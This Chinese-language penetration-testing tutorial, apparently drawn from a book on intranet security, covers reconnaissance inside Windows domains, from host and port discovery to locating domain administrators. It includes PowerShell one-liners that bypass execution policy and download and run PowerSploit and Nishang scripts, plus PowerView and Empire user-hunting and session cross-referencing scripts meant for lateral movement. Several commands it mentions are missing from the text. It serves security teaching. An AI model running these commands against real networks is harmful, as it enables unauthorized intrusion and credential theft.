内网信息收集-域环境
0x00:from
--《内网安全攻防》
0x01:查询当前权限
1.查看当前权限
获取一台主机的权限后,有如下三种情况:
本地普通用户:当前为win-2008本机的user用户。
本地管理员用户:当前为win-2008本机的administrator用户。
域内用户:当前为pureqh域内的administrator用户。
在这三种情况中,如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息,而本地管理员和域内用户可以查询域内信息。其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无需额外输入账号和密码。
本地管理员Administrator权限可以直接提升为Ntauthority或System权限。因此,在域中,除普通用户外,所有的机器都有一个机器用户(用户名是机器名加上"$")。在本质上,机器的system用户对应的就是域里面的机器用户。所以,使用System权限可以运行域内的查询命令。
2.获取域SID
执行如下命令,获取域SID
当前域pureqh的SID为S-1-5-21-2088958248-1083709086-4128711003,域用户testuser的SID为S-1-5-21-2088958248-1083709086-4128711003-1603
3.查询指定用户的详细信息
执行如下命令,查询指定用户的详细信息
net user testuser /domain
在命令行输入该命令,可以看到,当前用户在本地组中没有本地管理员权限,在域中属于 Domain User组。
4.判断是否存在域
获得了本机的相关信息后,就要判断当前内网中是否存在域。如果当前内网中存在域,就需要判断所控主机是否在域内。下面使用几种方法。
1.使用ipconfig命令
执行如下命令,可以查看网关IP地址、DNS的IP地址、域名、主机是否和DNS服务器处于同一网段等信息。
然后,通过反向解析查询命令nslookup解析域名IP地址。用解析得到的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上。
2.查看系统详细信息
执行如下命令,“域”即域名(当前域名为pureqh.top),“登陆服务器”为域控制器。如果“域”为“WORKGROUP”,表示当前服务器不在域内。
3.查询当前登陆域及登录用户信息
执行如下命令,“工作站域DNS名称”为域名(如果为“WORKGROUP”,表示当前为非域环境),“登陆域”用于表示当前登陆的用户是域用户还是本地用户,此处表示当前登录的用户是域用户。
4.判断主域
执行如下命令,判断主域(域服务器通常会同时作为时间服务器使用)
net time /domain
执行以上命令后,通常会出现以下三种情况
存在域,但当前用户不是域用户
存在域,且当前用户是域用户
当前环境为工作组,不存在域
0x02 探测域内存活主机
内网存活主机探测是内网渗透测试中不可或缺的一个环节。可在白天和晚上分别进行探测,以对比分析存活主机和对应的IP地址。
1.利用NetBIOS快速探测内网
NetBIOS是局域网程序使用的一种应用程序编程接口(API),为程序提供了请求低级别服务的统一的命令集,为局域网提供了网络及其他特殊功能。几乎所有的局域网都是在 NetBIOS 协议的基础上工作的。 NetBIOS 也是计算机的标识名,主要用于局域网中计算机的互相访问。 NetBIOS 的工作流程就是正常的机器名解析查询应答过程,因此推荐优先使用。
nbtscan是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开发 NetBIOS名称服务器。nbtscan有Windows和Linux两个版本,体积很小,不需要安装依赖库和动态链接库(DLL)就能使用。
NetBIOS 的使用方法比较简单。将其上传至目标主机,直接输入IP地址范围并运行。
显示结果的第一列为IP地址,第二列为机器名和所在域的名称,最后一列是机器所开启的服务的列表,具体含义如下表。
2.利用ICMP协议快速探测内网
除了利用NetBIOS探测内网,还可以使用ICMP协议探测内网。(其实NetBIOS也是基于ICMP进行探测存活主机的,比如防火墙开启,NetBIOS就无法探测到主机)
依次对内网的每个IP地址执行ping命令,可以快速查询内网中所有存活的主机。在渗透测试中,可以使用如下命令循环探测整个C段
也可以使用vbs脚本进行探测
使用VBS脚本时,需要修改IP地址段。直接双击vbs文件或者在命令行 cscript ip.vbs(速度较慢,因为是一个一个ip ping的)
3.通过ARP扫描探测内网
1.arp-scan工具
直接将arp.exe上传到目标机器运行,自定义掩码、知道扫描范围等,命令如下:(使用前先解决一下动态链接库的问题)
2.Empire中的arpscan模块
empire内置了arpscan模块。该模块用于在局域网内发送ARP数据包、收集活跃主机的IP地址和MAC地址信息
在empire输入 "usemodule situational_awareness/network/arpscan" ,即可使用其内置的arp-scan模块。
3.Nishang中的Invoke-ARPScan.ps1脚本
使用Nishang中的Invoke-ARPScan.ps1脚本,可以将脚本上传到目标服务器运行,也可以远程加载脚本、自定义掩码和扫描范围,命令如下:
powershell.exe -exec bypass -command "& {Import-Module d:\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> D:\log.txt
4.通过常规TCP/UDP端口扫描探测内网
ScanLine是一款经典的端口扫描工具,可以在所有版本的Windows操作系统中使用,体积小,仅使用单个文件,同时支持TCP/UDP端口扫描,命令如下:
0x03:扫描域内端口
通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的漏洞、分析目标网络的拓扑结构等、具体关注以下三点。
- 端口的banner信息
- 端口上运行的服务
- 常见应用的默认端口
在进行内网渗透测试时,通常会使用Metasploit内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息。
1.利用telnet命令进行扫描
telnet协议是TCP/IP协议族的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个高位端口是否开放,使用telnet命令是最方便的。 简单示例:telnet DC 22
2.S扫描器
s扫描器是最早期的一种快速端口扫描工具,支持大网段扫描,特别适合运行在Windows server 2003以下版本的操作系统。s扫描器的扫描结果默认保存在其安装目录下的result.txt文件中。推荐使用TCP扫描,命令如下
3.metasploit
metasploit 不仅提供了多种端口扫描技术,还提供了与其他扫描工具的接口。在msfconsole下运行"search portscan"命令,即可进行搜索。
在本实验中,使用auxiliary/scanner/portscan/tcp 模块进行演示
4.PowerSploit 的Invoke-portscan.ps1脚本
Powersploit 的Invoke-portscan.ps1脚本,推荐使用无文件的形式进行扫描(这样很容易被github ban IP,别问我怎么知道的),命令如下:
powershell.exe -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA d:\res.txt"
5.Nishang的Invoke-PortScan模块
Invoke-PortScan是nishang的端口扫描模块,用于发现主机、解析主机名、扫描端口,是一个很实用的模块。输入“Get-Help Invoke-PortScan”命令,即可查看帮助信息
Invoke-PortScan的参数介绍如下。
- StartAddress:扫描范围的开始地址
- EndAddress:扫描范围的结束地址
- ScanPore:进行端口扫描
- Port:指定扫描端口。默认扫描端口21、22、23、53、69、71、80、98、110、139、111、389、443、445、1080、1433、2001、2049、3001、3128、5222、6667、6868、7777、7878、8080、1521、3306、3389、5801、5900、5555、5901
- TimeOut:设置超时时间
使用以下命令对本地局域网进行扫描,搜索存活主机并解析主机名
powershell.exe "IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1:8000/Scan/Invoke-PortScan.ps1');Invoke-Portscan -StartAddress 192.168.1.1 -EndAddress 192.168.1.5 -ScanPort -resolvehost"
6.端口banner 信息
如果通过扫描发现了端口,可以使用客户端连接工具或者nc,获取服务器的Banner信息。获取Banner后,可以在漏洞库中查找对应CVE编号的POC、EXP,在ExploitDB、Seebug等平台上查看相关的漏洞利用工具,然后到目标系统中验证漏洞是否存在,从而有针对性的进行安全加固。相关漏洞的信息,可以参考如下两个网站
安全焦点:其中的BugTraq是一个出色的漏洞和Exploit数据源,可以通过CVE编号或者安全产品信息漏洞直接搜索: https://www.securityfocus.com/bid 。
Exploit:取代了老牌安全网站milw0rm,提供了大量的Exploit程序和相关报告: https://www.exploit-db.com/
常见端口及其说明:
0x04:收集域内信息
确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。因为本节将要介绍的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行本节介绍的查询命令(System权限用户除外,在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上"$".system权限用户对应的就是域里面的机器用户,所以System权限用户可以运行本节的查询命令)
1.查询域
命令如下:
如果出现
将域控制器 Computer Browser 服务启动即可
2.查询域内所有计算机
执行如下命令,就可以通过查询得到的主机名对主机角色进行初步判断,例如 “dev”可能是开发服务器,“web”“app”可能是web服务器,“NAS”可能是存储服务器,“fileserver”可能是文件服务器。
3.查询域内所有用户组列表
命令如下:
可以看到,该域内有13个组。系统常见的用户身份如下:
Domain Admins:域管理员
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域方可、权限较低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户
在默认情况下,Domain Admin 和 Enterprise Admins 对域内所有域控制器有完全控制权限。
4.查询所有域成员计算机列表
执行如下命令,查询所有域成员计算机列表
5.获取域密码信息
执行如下命令,获取域密码策略、密码长度、错误锁定等信息:
0x05:查找域控制器
1.查看域控制器的机器名
执行如下命令,可以看到,域控制器的机器名为“DC”
2.查看域控制器的主机名
执行如下命令,可以看到,域控制器的主机名为“DC”
3.查看当前时间
在通常情况下,时间服务器为主域控制器。执行如下命令
4.查看域控制器组
执行如下命令,查看域控制器组。其中有一台机器名为“DC”的域控制器
在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常工作。
执行如下命令,可以看到,域控制器的机器名为“DC”
0x06:获取域内的用户和管理员信息
1.查询所有域用户列表
1.向域控制器进行查询
执行如下命令,向域控制器DC进行查询,域内有五个用户,其中,krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化的方法,后面会一一讲解。
2.获取域内用户的详细信息
执行如下命令,可以获取域内用户的详细信息,常见参数包括用户名、描述信息、SID、域名、状态等。
3.查看存在的用户
执行如下命令,可以看到,域内有四个用户
常用的dsquery命令:
- dsquery computer -查找目录中的计算机
- dsquery contact -查找目录中的联系人
- dsquery subnet -查找目录中的子网
- dsquery group -查找目录中的组
- dsquery ou -查找目录中的组织单位
- dsquery site -查找目录中的站点
- dsquery server -查找目录中的AD DC/LDS 实例
- dsquery user -查找目录中的用户
- dsquery quota -查找目录中的配额规定
- dsquery partition -查找目录中的分区
- dsquery * -用通用的 LDAP查询来查找目录中的任何对象
4.查询本地管理员组用户
执行如下命令,可以看到,本地管理员组内有两个用户和一个组
Domain Admins组中的用户默认为域内机器的本地管理员组。在实际应用中,为了方便管理,会有域用户被设置为域机器的本地管理员用户。
2.查询域管理员用户组
1.查询域管理员组
执行如下命令,可以看到,存在一个域管理员用户
0x07:定位域管理员
内网渗透测试与常规渗透测试是截然不同的。内网渗透测试的需求是,获取内网中特定用户或机器权限,进而获得特定的资源,对内网的安全性进行评估。
1.域管理员定位概述
在内网中,通常会部署大量的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、反病毒软件等。在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限。
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,称为域的成员主机后,系统就会自动将域管理员组添加到本地系统管理员组中,因此,域管理员组的成员均可访问本地计算机,且具备完全控制权限。
定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用脚本或者wevtutil工具导出查看。会话是指域内每台机器的登录会话,可以使用netsess.exe或powerView等工具查询(可以匿名查询,不需要权限)
2.常用域管理员定位工具
在本节的实验中,假设已经在Windows域中取得了普通用户权限,希望在域内横向移动,需要知道域内用户登陆的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组,有助于更好地了解域的发布。
常见的域管理员定位工具有psloggedon.exe、PCEFindADUser.exe、netsess.exe、以及hunter、NetVier等。在powershell中,常用的工具是PowerView。
1.psloggedon.exe
在Windows平台上,可以执行命令“net session” 来查看谁使用了本机资源,但是没有命令可以查看谁在使用远程计算机资源、谁登陆了本地或远程计算机。
使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机的资源登陆的用户。如果指定的是用户名而不是计算机名,psloggedon.exe会搜索网上邻居中的计算机,并显示该用户当前是否已经登陆,其原理是通过检查注册表HKEY_USERS项的key值来查询谁登陆过(需要调用NetSessionEnum API),但某些功能需要管理员权限才能使用。
下载链接:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
- -:显示支持的选项和用于输出值的单位
- -I:仅显示本地登录,不显示本地和网络资源登陆
- -x:不显示登录时间
- \\computername:指定要列出登录信息的计算机的名称
- username:指定用户名,在网络中搜索该用户登陆的计算机。
2.PVEFindADUser.exe
PVEFindADUser.exe可用于查找活动目录登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户、包括本地用户、通过RDP登陆的用户、用于运行服务和计划任务的用户。运行该工具的计算机需要配置.NET Framework 2.0环境,并且需要管理员权限。
下载地址: https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
- -h:显示帮助信息
- -u:检查程序是否有新版本
- -current["username"]:如果仅指定了 -current参数,将获取目标计算机上当前登陆的所有用户。如果指定了用户名(Domain\Username),则显示该用户登陆的计算机。
- -last["username"]:如果仅指定了-last参数,将获取目标计算机的最后一个登陆用户。如果指定了用户名(Domain\Username),则显示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户名,此时使用该工具可能无法得到该用户名。
- -noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行ping命令。
- -target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主机。如果指定了此参数,则后跟一个由逗号分隔的主机名列表。
直接运行"PVEFindADUser.exe -current"命令,即可显示域中所有计算机(计算机、服务器、域控制器等)上当前登录的所有用户。查询结果将被输出到report.csv文件中。
3.netview.exe
netview.exe是一个枚举工具,使用WinAPI枚举系统,利用NetSessionEnum找寻登录会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登陆的用户。同时,netview.exe能够查询共享入口和有价值的用户。netview.exe的绝大多数功能不需要管理员权限就可以使用,其命令格式参数如下。
下载地址:https://github.com/mubix/netview
- -h :显示帮助信息
- -f filename.txt :指定要提取主机列表的文件
- -e filename.txt:指定要排除的文件名的文件
- -o filename.txt:将所有输出重定向到指定的文件
- -d domain:指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表
- -g group:指定搜索的组名。如果没有指定,则在Domain Admins组中搜索。
- -c :对已经找到的共享目录/文件的访问权限进行检查
4.Nmap的NSE脚本
如果存在域账户或者本地账户,就可以使用Nma的smb-enum-sessions.nse引擎获取远程机器的登录会话,不需要管理员权限。
下载链接:https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
- smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等。
- smb-enums-users.nse:在进行域渗透测试时,如果获得了域内某台主机的权限,但是权限有限,无法获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。
- smb-enum-shares:遍历远程主机的共享目录
- smb-enum-proccesses.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上正在运行哪些软件。
- smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登陆。
- smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等信息。
5.PowerView脚本
PowerView是一款Powershell脚本,提供了辅助定位关键用户的功能,下载地址: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
- Invoke-StealthUserHunter:只需要进行一次查询,就可以获取域里面的所有用户。使用方法为,从user.HomeDirectories中提取所有用户,并对每台服务器进行Get-NetSessions获取。因为不需要使用Invoke-UserHunter对每台机器进行操作,所以这个方法的隐蔽性相对较高(但是涉及的机器不一定全面)。PowerView默认使用Invoke-StealthUserHunter,如果找不到需要的信息,就用Invoke-UserHunter.
- Invoke-UserHunt:找到域内特定的用户群,接收用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名。它可以使用Get-NetSessions和Get-NetLoggedon(调用NetSessionEnum和NetWkstaUserEnumAPI)扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,在使用时不需要管理员权限,在本地执行脚本。
powershell.exe -exec bypass -Command "&{Import-Module c:\powerview.ps1;Invoke-UserHunter}"
6.Empire的user_hunter模块
在empire中也有类似Invoke-UserHunter的模块-user_hunter。这个模块用于查找域管理员登陆的机器。
使用usermodule situational_awareness/network/powerview/user_hunter模块,可以清楚的看到哪个用户登陆了哪台主机。
0x08:查找域管理进程
在渗透测试中,一个典型的域权限提升过程,通常围绕着收集明文凭据或者通过mimikatz提权等方法,在获取了管理员权限的系统中寻找域管理员登陆进程,进而收集域管理员的凭据。绕过内网环境非常复杂,渗透测试人员无法立即在拥有权限的系统中获得域管理员进程,那么通常可以采用的方法是:在跳板机之间跳转,直至获得域管理员权限,同时进行一些分析工作,进而找到渗透测试的路径。
我们来看一种假设的情况:渗透测试人员在某个内网环境中获得了一个域普通用户的权限,首先通过各种方法获得当前服务器的本地管理员权限,然后分析当前服务器的用户登陆列表及会话信息,知道哪些用户登陆了这台服务器。如果渗透测试人员通过分析发现,可以获取权限的登陆用户都不是域管理员账户,同时没有域管理员组中的用户登陆这台服务器,就可以使用另一个账户并寻找该账户在内网的哪台机器上具有管理权限,再枚举这台机器上的登陆用户,然后继续进行渗透测试,直到找到一个可以获取域管理员权限的有效路径为止。在一个包含成千上万的计算机和众多用户的环境中,完成此过程可能需要几天甚至几周的时间。
1.本机检查
1.获取域管理员列表
执行如下命令,可以看到当前域有一个域管理员
2.列出本机的所有进程及进程用户
执行如下命令,列出本机的所有进程及进程用户
tasklist /v
3.寻找进程所有者为域管理员的进程
通过以上操作可以看出,当前存在域管理员进程。使用以上方法,如果能顺便找到域管理员进程是最好的,但是一般不可能这么容易找到。
2.查询域控制器的域用户会话
查询域控制器的域用户会话,其原理是:再域控制器中查询域用户会话列表,并将其域管理员列表进行交叉引用,从而得到域管理会话的系统列表。
在本实验中,必须查询所有的域控制器。
1.查询域控制器列表
可以使用LDAP查询从Domain Controllers 单元中收集的域控制器列表。也可以使用net命令查询域控制器列表
2.收集域管理员列表
可以使用LDAP进行查询。也可以使用net命令,从域管理员组中收集域管理员列表
3.收集所有活动域的会话列表
使用netsess.exe查询每个域控制器,收集所有活动域会话列表。netsess.exe是一个很棒的工具,它包含本地Windows函数netsessionenum。命令如下。netsessionenum函数用于返回活动会话的IP地址、域账户、会话开始时间和空闲时间。
由于适用版本为
所以几乎被淘汰
4.交叉引用域管理员列表与活动会话列表
对域管理员列表和活动会话列表进行交叉引用,可以确定哪些IP地址有活动域令牌,也可以通过下列脚本快速使用netsess.exe的Windows命令行。
将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt中,并与nctsess.exe放在同一目录。
运行以下脚本,会在当前目录下生成一个文本文件sessions.txt
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findste /I %a
网上也有类似脚本,如Get Domain Admins(GDA)批处理脚本,下载地址:
https://github.com/nullbind/Other-Projects/tree/master/GDA
3.查询远程系统中运行的任务
如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以使用下列脚本来查询系统中的域管理任务
首先,从Domain Admins组中收集域管理员列表,命令如下:
4.扫描远程系统的NetBIOS信息
某些版本的Windows操作系统(所测2008和2012均无效)允许用户通过NetBIOS查询已登陆用户。下面这个Windows命令行脚本就用于扫描远程系统活跃中的管理会话。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL && echo[!] %n was found logged into %i
收集域管理员列表,运行如下列表,将目标域系统列表添加到ips.txt文件中,将收集到的域管理员列表添加到admins.txt文件中,置于同一目录下。运行结果如下。
或者配合nbtscan使用
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n >NUL && echo[!] %n was found logged into %i